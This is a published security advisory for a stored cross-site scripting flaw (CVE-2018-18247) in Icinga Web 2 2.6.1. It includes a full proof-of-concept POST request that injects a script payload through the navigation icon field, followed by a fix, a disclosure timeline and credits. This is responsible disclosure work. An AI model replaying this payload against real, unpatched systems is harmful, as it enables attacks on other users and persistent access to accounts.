usd-2018-0029 | Icinga Web 2/2.6.1

Advisory ID: usd-2018-0029
CVE number: CVE-2018-18247
Affected Product: Icinga Web 2
Affected Version: 2.6.1
Vulnerability Type: Stored XSS
Security Risk: High
Vendor URL: https://www.icinga.com/
Vendor Status: Fixed

Description

Stored XSS attack (or persistent attack) occurs when a malicious script is injected directly into a vulnerable web application. Therefore the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

Proof of Concept

The following POST request sent by an authenticated user will create a navigation element for that user (CSRF Token and Cookies need to be valid):

POST /icingaweb2/navigation/add HTTP/1.1
Host: 82.98.89.32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://82.98.89.32/icingaweb2/navigation
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Icinga-Accept: text/html
X-Icinga-WindowId: zomfnajxchlq
X-Requested-With: XMLHttpRequest
Content-Length: 338
Cookie: icingaweb2-announcements=%7B%22acknowledged%22%3A%5B%5D%2C%22etag%22%3A%22fdf22446%22%2C%22next%22%3Anull%7D; Icingaweb2=g4egqavdb07u0d6kumaabkhrp9ieuurq; icingaweb2-session=1536677143; icingaweb2-tzo=7200-1
Connection: close

name=Test1&type=menu-item&parent=&target=_blank&url=Test&icon= https://www.usd.de/wp-content/uploads/2014/11/logo-zusatz_kopfzeile_gr.png">alert('XSS')&formUID=form_config_navigation&CSRFToken=19899734%7C5b5599089be32371c84e3cd1ede67f513232add447b299d81705f21f3a6c39ed&btn_submit=Save+Changes

The payload https://www.usd.de/wp-content/uploads/2014/11/logo-zusatz_kopfzeile_gr.png“>alert(‚XSS‘) is inserted into the icon parameter.

The added navigation element is subsequently included in the navigation bar on the left. This can be exploited to attack other users if the attacker holds the privilege to share navigation elements. An attacker with temporary access to a user account could also use this to maintain access.

Fix

Make sure to validate the user supplied input and encode the output.
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.

Timeline

  • 2018-09-12 First contact request via security@icinga.com
  • 2018-10-02 Vendor received advisories via security@icinga.com
  • 2018-10-11 CVE-ID requested.
  • 2018-10-12 received CVE ID and notified vendor about it
  • 2018-11-09 extended public disclosure deadline to 2018-11-25
  • 2018-11-23 vendor states to have fixed the vulnerability in Icinga Web 2 v2.6.2
  • 2018-12-07 Security advisory released

Credits

These security vulnerabilities were found by Maximilian Boehner of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.